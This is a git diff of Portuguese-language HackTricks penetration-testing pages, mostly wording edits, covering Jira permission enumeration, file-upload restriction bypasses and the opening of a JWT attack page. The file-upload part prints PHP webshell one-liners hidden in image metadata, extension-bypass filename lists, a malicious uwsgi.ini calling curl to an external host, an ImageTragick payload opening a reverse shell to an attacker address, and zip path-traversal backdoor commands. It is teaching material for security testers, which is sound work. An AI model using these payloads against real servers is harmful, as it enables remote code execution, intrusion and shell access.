 curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
 ```
-
 ### Enumeração automatizada

 * [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
 * [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)

-<figure><img src="https://github.com/carlospolop/hacktricks/blob/pt/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

-Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
+Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).

 {% embed url="https://www.stmcyber.com/careers" %}

 <details>

-<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+<summary><strong>Aprenda hacking AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

 Outras formas de apoiar o HackTricks:

--- a/pentesting-web/file-upload/README.md
+++ b/pentesting-web/file-upload/README.md
@ -1,4 +1,4 @@
-# File Upload
+# Upload de Arquivo

 <details>

@ -14,9 +14,9 @@ Outras formas de apoiar o HackTricks:

 </details>

-<figure><img src="https://github.com/carlospolop/hacktricks/blob/pt/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

-Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
+Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).

 {% embed url="https://www.stmcyber.com/careers" %}

@ -35,45 +35,35 @@ Outras extensões úteis:

 ### Bypass de Verificações de Extensão de Arquivo

-1. Se aplicável, **verifique** as **extensões anteriores**. Teste-as também usando algumas **letras maiúsculas**: _pHp, .pHP5, .PhAr ..._
+1. Se aplicável, **verifique** as **extensões anteriores**. Teste também usando algumas **letras maiúsculas**: _pHp, .pHP5, .PhAr ..._
 2. _Verifique **adicionando uma extensão válida antes** da extensão de execução (use também as extensões anteriores):_
-
-* _arquivo.png.php_
-* _arquivo.png.Php5_
-
-3. Tente adicionar **caracteres especiais no final**. Você pode usar o Burp para **forçar** todos os caracteres **ascii** e **Unicode**. (_Observe que você também pode tentar usar as **extensões** mencionadas **anteriormente**_)
-
-* _arquivo.php%20_
-* _arquivo.php%0a_
-* _arquivo.php%00_
-* _arquivo.php%0d%0a_
-* _arquivo.php/_
-* _arquivo.php.\\_
-* _arquivo._
-* _arquivo.php...._
-* _arquivo.pHp5...._
-
-4. Tente contornar as proteções **enganando o analisador de extensão** do lado do servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (bytes **nulos**) entre as extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._
-
-* _arquivo.png.php_
-* _arquivo.png.pHp5_
-* _arquivo.php#.png_
-* _arquivo.php%00.png_
-* _arquivo.php\x00.png_
-* _arquivo.php%0a.png_
-* _arquivo.php%0d%0a.png_
-* _arquivo.phpJunk123png_
-
+* _file.png.php_
+* _file.png.Php5_
+3. Tente adicionar **caracteres especiais no final**. Você pode usar o Burp para **forçar** todos os caracteres **ascii** e **Unicode**. (_Observe que você também pode tentar usar as **extensões anteriormente** mencionadas_)
+* _file.php%20_
+* _file.php%0a_
+* _file.php%00_
+* _file.php%0d%0a_
+* _file.php/_
+* _file.php.\\_
+* _file._
+* _file.php...._
+* _file.pHp5...._
+4. Tente contornar as proteções **enganando o analisador de extensão** do lado do servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (bytes nulos) entre as extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._
+* _file.png.php_
+* _file.png.pHp5_
+* _file.php#.png_
+* _file.php%00.png_
+* _file.php\x00.png_
+* _file.php%0a.png_
+* _file.php%0d%0a.png_
+* _file.phpJunk123png_
 5. Adicione **outra camada de extensões** à verificação anterior:
-
-* _arquivo.png.jpg.php_
-* _arquivo.php%00.png%00.jpg_
-
-6. Tente colocar a **extensão de execução antes da extensão válida** e reze para que o servidor esteja mal configurado. (útil para explorar configurações incorretas do Apache onde qualquer coisa com a extensão\*\* _**.php**_**, mas** não necessariamente terminando em .php\*\* executará código):
-
-* _ex: arquivo.php.png_
-
-7. Usando **fluxo de dados alternativo NTFS (ADS)** no **Windows**. Neste caso, um caractere de dois pontos ":" será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (por exemplo, "arquivo.asax:.jpg"). Este arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome curto. O padrão “**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após esse padrão também pode ser útil para contornar restrições adicionais (por exemplo, “arquivo.asp::$data.”)
+* _file.png.jpg.php_
+* _file.php%00.png%00.jpg_
+6. Tente colocar a **extensão de execução antes da extensão válida** e reze para que o servidor esteja mal configurado. (útil para explorar configurações incorretas do Apache onde qualquer coisa com extensão\*\* _**.php**_**, mas** não necessariamente terminando em .php\*\* executará código):
+* _ex: file.php.png_
+7. Usando **fluxo de dados alternativo NTFS (ADS)** no **Windows**. Neste caso, um caractere de dois pontos ":" será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (por exemplo, "file.asax:.jpg"). Este arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome curto. O padrão “**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após esse padrão também pode ser útil para contornar mais restrições (por exemplo, “file.asp::$data.”)
 8. Tente quebrar os limites do nome do arquivo. A extensão válida é cortada. E o PHP malicioso é deixado. AAA<--SNIP-->AAA.php

 ```
@ -83,25 +73,22 @@ Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
 # Faça o upload do arquivo e verifique a resposta quantos caracteres ele permite. Digamos 236
 python -c 'print "A" * 232'
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-# Crie o payload
+# Faça o payload
 AAA<--SNIP 232 A-->AAA.php.png
 ```
+### Bypassar Tipo de Conteúdo, Número Mágico, Compressão e Redimensionamento

-### Bypassar Content-Type, Número Mágico, Compressão e Redimensionamento
-
-* Bypassar verificações de **Content-Type** definindo o **valor** do **header Content-Type** para: _image/png_, _text/plain_, _application/octet-stream_
-
-1. Wordlist de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
-
+* Bypassar verificações de **Tipo de Conteúdo** definindo o **valor** do **header** **Content-Type** para: _image/png_, _text/plain_, _application/octet-stream_
+1. **Lista de palavras-chave de Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
 * Bypassar verificação de **número mágico** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o comando _file_). Ou introduzir o shell dentro dos **metadados**:\
-  `exiftool -Comment="<?php echo 'Comando:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
-  `\` ou também **introduzir o payload diretamente** em uma imagem:\
-  `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
-* Se **compressão estiver sendo adicionada à sua imagem**, por exemplo usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar a **técnica do chunk PLTE** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
+`exiftool -Comment="<?php echo 'Comando:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
+`\` ou também **introduzir o payload diretamente** em uma imagem:\
+`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
+* Se **compressão estiver sendo adicionada à sua imagem**, por exemplo, usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar o **chunk PLTE** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
 * [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
-* A página da web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você pode usar a **técnica do chunk IDAT** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
+* A página da web também pode estar **redimensionando** a **imagem**, usando, por exemplo, as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você pode usar o **chunk IDAT** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
 * [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
-* Outra técnica para criar um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar a **técnica do chunk tEXt** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
+* Outra técnica para criar um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar o **chunk tEXt** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
 * [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)

 ### Outros Truques para Verificar
@ -109,30 +96,28 @@ AAA<--SNIP 232 A-->AAA.php.png
 * Encontrar uma vulnerabilidade para **renomear** o arquivo já enviado (para alterar a extensão).
 * Encontrar uma vulnerabilidade de **Inclusão de Arquivo Local** para executar a backdoor.
 * **Possível divulgação de informações**:
-
 1. Enviar **várias vezes** (e ao **mesmo tempo**) o **mesmo arquivo** com o **mesmo nome**
 2. Enviar um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe**
 3. Enviar um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache no **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
 4. Enviar um arquivo que pode não ser facilmente excluído, como **“…:.jpg”** no **NTFS** (Windows).
 5. Enviar um arquivo no **Windows** com caracteres inválidos como `|<>*?”` em seu nome (Windows).
 6. Enviar um arquivo no **Windows** usando **nomes** **reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 e LPT9.
-
 * Tente também **enviar um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando acidentalmente aberto pela vítima.

-### Truques Especiais de Extensão
+### Truques de Extensão Especial

 Se você está tentando enviar arquivos para um **servidor PHP**, [dê uma olhada no truque do **.htaccess** para executar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
 Se você está tentando enviar arquivos para um **servidor ASP**, [dê uma olhada no truque do **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).

-Os arquivos `.phar` são como os arquivos `.jar` para Java, mas para PHP, e podem ser **usados como um arquivo PHP** (executando-o com PHP, ou incluindo-o dentro de um script...)
+Os arquivos `.phar` são como os arquivos `.jar` para Java, mas para PHP, e podem ser **usados como um arquivo PHP** (executando-o com PHP, ou incluindo-o dentro de um script...).

 A extensão `.inc` é às vezes usada para arquivos PHP que são apenas usados para **importar arquivos**, então, em algum momento, alguém poderia ter permitido **esta extensão ser executada**.

 ## **Jetty RCE**

-Se você puder enviar um arquivo XML para um servidor Jetty, você pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Portanto, como mencionado na imagem a seguir, envie o arquivo XML para `$JETTY_BASE/webapps/` e espere a shell!
+Se você puder enviar um arquivo XML para um servidor Jetty, você pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Portanto, como mencionado na seguinte imagem, envie o arquivo XML para `$JETTY_BASE/webapps/` e espere a shell!

-![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)
+![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1044).png>)

 ## **uWSGI RCE**

@ -140,8 +125,7 @@ Para uma exploração detalhada dessa vulnerabilidade, confira a pesquisa origin

 Vulnerabilidades de Execução Remota de Comandos (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração do uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", espaços reservados e operadores. Notavelmente, o operador '@', utilizado como `@(nome_do_arquivo)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados a partir da saída padrão de um processo. Essa funcionalidade pode ser manipulada para fins maliciosos, como Execução Remota de Comandos ou Escrita/Leitura Arbitrária de Arquivos quando um arquivo de configuração `.ini` é processado.

-Considere o seguinte exemplo de um arquivo `uwsgi.ini` malicioso, demonstrando vários esquemas:
-
+Considere o seguinte exemplo de um arquivo `uwsgi.ini` prejudicial, mostrando vários esquemas:
 ```ini
 [uwsgi]
 ; read from a symbol
@ -159,16 +143,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
 ; call a function returning a char *
 characters = @(call://uwsgi_func)
 ```
-
-A execução da carga ocorre durante a análise do arquivo de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após uma falha ou devido a um ataque de Negação de Serviço) ou o arquivo deve ser configurado para recarregar automaticamente. O recurso de recarregamento automático, se ativado, recarrega o arquivo em intervalos especificados ao detectar alterações.
+A execução da carga ocorre durante a análise do arquivo de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após uma falha ou devido a um ataque de Negação de Serviço) ou o arquivo deve ser configurado para recarregar automaticamente. O recurso de recarga automática, se ativado, recarrega o arquivo em intervalos especificados ao detectar alterações.

 É crucial entender a natureza flexível da análise de arquivos de configuração do uWSGI. Especificamente, a carga discutida pode ser inserida em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial.

 ## **Truque de Upload de Arquivo/SSRF do wget**

-Em algumas ocasiões, você pode descobrir que um servidor está usando o **`wget`** para **baixar arquivos** e você pode **indicar** a **URL**. Nestes casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma lista branca para garantir que apenas arquivos permitidos sejam baixados. No entanto, **esta verificação pode ser contornada.**\
+Em algumas ocasiões, você pode descobrir que um servidor está usando o **`wget`** para **baixar arquivos** e você pode **indicar** a **URL**. Nestes casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma lista branca para garantir que apenas arquivos permitidos sejam baixados. No entanto, **esta verificação pode ser contornada**.\
 O **comprimento máximo** de um **nome de arquivo** no **Linux** é **255**, no entanto, o **wget** trunca os nomes de arquivo para **236** caracteres. Você pode **baixar um arquivo chamado "A"\*232+".php"+".gif"**, este nome de arquivo irá **burlar** a **verificação** (como neste exemplo **".gif"** é uma extensão **válida**), mas o `wget` irá **renomear** o arquivo para **"A"\*232+".php"**.
-
 ```bash
 #Create file and HTTP server
 echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -191,7 +173,6 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================

 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
 ```
-
 Note que **outra opção** que você pode estar pensando para contornar essa verificação é fazer com que o **servidor HTTP redirecione para um arquivo diferente**, então a URL inicial irá contornar a verificação e então o wget irá baixar o arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names` porque **o wget irá baixar a página redirecionada com o nome do arquivo indicado na URL original**.

 ## Ferramentas
@ -214,17 +195,17 @@ Note que **outra opção** que você pode estar pensando para contornar essa ver
 * [**XXE e CORS** bypass com upload de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
 * PDFs especialmente elaborados para XSS: A [página a seguir apresenta como **injetar dados de PDF para obter execução de JS**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, você poderia preparar alguns PDFs que executarão JS arbitrário seguindo as indicações fornecidas.
 * Faça o upload do conteúdo \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor possui algum **antivírus**
-* Verifique se há algum **limite de tamanho** para upload de arquivos
+* Verifique se há algum **limite de tamanho** ao enviar arquivos

 Aqui está uma lista dos 10 principais itens que você pode alcançar fazendo upload (de [aqui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):

 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
 2. **SVG**: XSS armazenado / SSRF / XXE
 3. **GIF**: XSS armazenado / SSRF
-4. **CSV**: Injeção de CSV
+4. **CSV**: injeção de CSV
 5. **XML**: XXE
 6. **AVI**: LFI / SSRF
-7. **HTML / JS** : Injeção de HTML / XSS / Redirecionamento aberto
+7. **HTML / JS** : injeção de HTML / XSS / Redirecionamento aberto
 8. **PNG / JPEG**: Ataque de inundação de pixels (DoS)
 9. **ZIP**: RCE via LFI / DoS
 10. **PDF / PPTX**: SSRF / BLIND XXE
@ -238,7 +219,7 @@ Aqui está uma lista dos 10 principais itens que você pode alcançar fazendo up
 * **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
 * **JPG**: `"\xff\xd8\xff"`

-Consulte [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) para outros tipos de arquivos.
+Consulte [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) para outros tipos de arquivo.

 ### Upload Automático de Arquivo Zip/Tar Descompactado

@ -246,31 +227,26 @@ Se você puder fazer upload de um ZIP que será descompactado dentro do servidor

 #### Symlink

-Faça o upload de um link contendo links simbólicos para outros arquivos e, em seguida, acessando os arquivos descompactados, você acessará os arquivos vinculados:
-
+Faça upload de um link contendo links simbólicos para outros arquivos e, em seguida, acessando os arquivos descompactados, você acessará os arquivos vinculados:
 ```
 ln -s ../../../index.php symindex.txt
 zip --symlinks test.zip symindex.txt
 tar -cvf test.tar symindex.txt
 ```
-
 ### Descompactar em pastas diferentes

-A criação inesperada de arquivos em diretórios durante a descompactação é um problema significativo. Apesar das suposições iniciais de que essa configuração poderia proteger contra a execução de comandos em nível de sistema operacional por meio de uploads de arquivos maliciosos, o suporte à compressão hierárquica e as capacidades de travessia de diretórios do formato de arquivo ZIP podem ser explorados. Isso permite que os atacantes ignorem restrições e escapem de diretórios de upload seguros manipulando a funcionalidade de descompressão do aplicativo alvo.
+A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar das suposições iniciais de que essa configuração poderia proteger contra a execução de comandos em nível de sistema operacional por meio de uploads de arquivos maliciosos, o suporte à compressão hierárquica e as capacidades de travessia de diretórios do formato de arquivo ZIP podem ser explorados. Isso permite que os atacantes ignorem restrições e escapem de diretórios de upload seguros manipulando a funcionalidade de descompressão do aplicativo alvo.

 Um exploit automatizado para criar esses arquivos está disponível em [**evilarc no GitHub**](https://github.com/ptoomey3/evilarc). A utilidade pode ser usada da seguinte maneira:
-
 ```python
 # Listing available options
 python2 evilarc.py -h
 # Creating a malicious archive
 python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
 ```
-
 Além disso, o **truque de symlink com evilarc** é uma opção. Se o objetivo é direcionar um arquivo como `/flag.txt`, um symlink para esse arquivo deve ser criado em seu sistema. Isso garante que o evilarc não encontre erros durante sua operação.

 Abaixo está um exemplo de código Python usado para criar um arquivo zip malicioso:
-
 ```python
 #!/usr/bin/python
 import zipfile
@ -288,7 +264,6 @@ zip.close()

 create_zip()
 ```
-
 **Abusando da compressão para pulverização de arquivos**

 Para mais detalhes, **verifique a postagem original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
@ -302,14 +277,12 @@ $cmd = ($_REQUEST['cmd']);
 system($cmd);
 }?>
 ```
-
 2. **Pulverização de Arquivos e Criação de Arquivo Comprimido**: Múltiplos arquivos são criados e um arquivo zip é montado contendo esses arquivos.

 ```bash
 root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
 root@s2crew:/tmp# zip cmd.zip xx*.php
 ```
-
 3. **Modificação com um Editor Hexadecimal ou vi**: Os nomes dos arquivos dentro do zip são alterados usando vi ou um editor hexadecimal, mudando "xxA" para "../" para percorrer diretórios.

 ```bash
@ -321,14 +294,12 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
 ## ImageTragic

 Faça upload deste conteúdo com uma extensão de imagem para explorar a vulnerabilidade **(ImageMagick, 7.0.1-1)** (do [exploit](https://www.exploit-db.com/exploits/39767))
-
 ```
 push graphic-context
 viewbox 0 0 640 480
 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
 pop graphic-context
 ```
-
 ## Incorporando Shell PHP em PNG

 Incorporar um shell PHP no chunk IDAT de um arquivo PNG pode contornar efetivamente certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes nesse contexto, pois são comumente usadas para redimensionar e reamostrar imagens, respectivamente. A capacidade do shell PHP incorporado de permanecer inalterado por essas operações é uma vantagem significativa para determinados casos de uso.
@ -356,9 +327,9 @@ Mais informações em: [https://medium.com/swlh/polyglot-files-a-hackers-best-fr
 * [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 * [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)

-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

-Se você está interessado em uma **carreira em hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
+Se você está interessado em uma **carreira em hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).

 {% embed url="https://www.stmcyber.com/careers" %}

@ -369,9 +340,9 @@ Se você está interessado em uma **carreira em hacking** e hackear o inhackeáv
 Outras maneiras de apoiar o HackTricks:

 * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

 </details>
--- a/pentesting-web/hacking-jwt-json-web-tokens.md
+++ b/pentesting-web/hacking-jwt-json-web-tokens.md
@ -2,21 +2,21 @@

 <details>

-<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

 Outras maneiras de apoiar o HackTricks:

 * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
+* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

 </details>

-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

-Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
+Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).

 {% embed url="https://www.stmcyber.com/careers" %}

@ -31,9 +31,9 @@ python3 jwt_tool.py -M at \
 -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
 -rh "Authorization: Bearer eyJhbG...<JWT Token>"
 ```
-Se tiver sorte, a ferramenta encontrará algum caso em que a aplicação web não está verificando corretamente o JWT:
+Se tiver sorte, a ferramenta encontrará algum caso em que a aplicação web esteja verificando incorretamente o JWT:

-![](<../.gitbook/assets/image (435).png>)
+![](<../.gitbook/assets/image (932).png>)

 Em seguida, você pode pesquisar a solicitação em seu proxy ou extrair o JWT usado para essa solicitação usando a ferramenta jwt\_:
 ```bash
@ -49,18 +49,18 @@ Para verificar se a assinatura de um JWT está sendo verificada:

 * Uma mensagem de erro sugere verificação em andamento; detalhes sensíveis em erros verbosos devem ser revisados.
 * Uma mudança na página retornada também indica verificação.
-* Nenhuma mudança sugere nenhuma verificação; é nesse momento que se deve experimentar manipular as reivindicações do payload.
